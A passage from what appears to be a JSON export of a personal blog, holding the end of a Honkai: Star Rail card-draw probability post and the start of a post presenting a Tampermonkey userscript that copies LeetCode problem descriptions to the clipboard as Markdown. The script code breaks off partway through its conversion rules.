92.79\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e5\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(3.21\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 96.79\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e6\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(1.43\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 98.57\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e7\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.63\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 99.37\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://bbs.mihoyo.com/sr/wiki/content/497/detail?bbs_presentation_style=no_header\"\u003e青雀-崩坏:星穹铁道WIKI-开拓者笔记-米游社\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://www.miyoushe.com/sr/article/39578076\"\u003e短生种都能看懂的青雀摸牌概率【科学琼玉论】-崩坏:星穹铁道社区-米游社\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:2\" title=\"Jump back to footnote 2 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/exp-val-to-enter-qingque-hidden-hand/"},{"title":"LeetCode 题目描述转 Markdown","time":"2024-03-21T15:04:02Z","content":"\u003ch1 id=\"LeetCode-题目描述转-Markdown\"\u003eLeetCode 题目描述转 Markdown\u003ca class=\"headerlink\" href=\"#LeetCode-题目描述转-Markdown\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e油猴脚本。代码改自 \u003ca href=\"https://github.com/tonngw/leetcode-helper\"\u003ehttps://github.com/tonngw/leetcode-helper\u003c/a\u003e,适配了最新的 UI,并且删掉了没用的功能,主打一个能用就行。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// ==UserScript==\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @name leetcode-helper\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @namespace https://github.com/stalomeow\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @version 1.0.0\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @description 复制 LeetCode 题目描述\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @author stalomeow\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @run-at document-end\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @match https://leetcode.cn/problems/*\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @require https://unpkg.com/turndown/dist/turndown.js\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @grant GM_registerMenuCommand\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @grant GM_setClipboard\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @license MIT\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// ==/UserScript==\u003c/span\u003e\n\n\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;use strict\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 初始化 html to markdown 转换工具\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"ow\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eTurndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eaddTurndownServiceRules\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 注入菜单\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eGM_registerMenuCommand\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;复制 LeetCode 题目为 Markdown,并存入剪切板\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopy\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 添加复制按钮\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecreateElement\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;button\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;copyBtn\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003einnerHTML\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;复制\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ealignSelf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;center\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etitle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;复制题目为 Markdown 格式\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eonload\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003esetTimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetElementsByClassName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;text-title-large font-semibold text-text-primary dark:text-text-primary\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eparentNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eappendChild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;I was invoked...\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1500\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 为复制按钮绑定点击功能\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eonclick\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epreventDefault\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopy\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 题目复制功能实现\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopy\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econtentDom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;.elfjS\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003eouterHTML\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econtentMd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ehandleHtml\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtentDom\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eGM_setClipboard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtentMd\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ealert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;复制成功\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eaddTurndownServiceRules\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddRule\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;strikethrough\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;pre\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ereplacement\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// console.log(node.innerText);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\\n```\\n\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003einnerText\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etrim\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\\n```\\n\\n\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddRule\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;strikethrough\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;strong\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ereplacement\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;**\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;**\u0026quot;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddRule\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;strikethrough\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;code\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ereplacement\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026lt;code\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;\u0026lt;/code\u0026gt;\u0026quot;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddRule\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;strikethrough\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;sup\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ereplacement\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026lt;sup\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;\u0026lt;/sup\u0026gt;\u0026quot;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 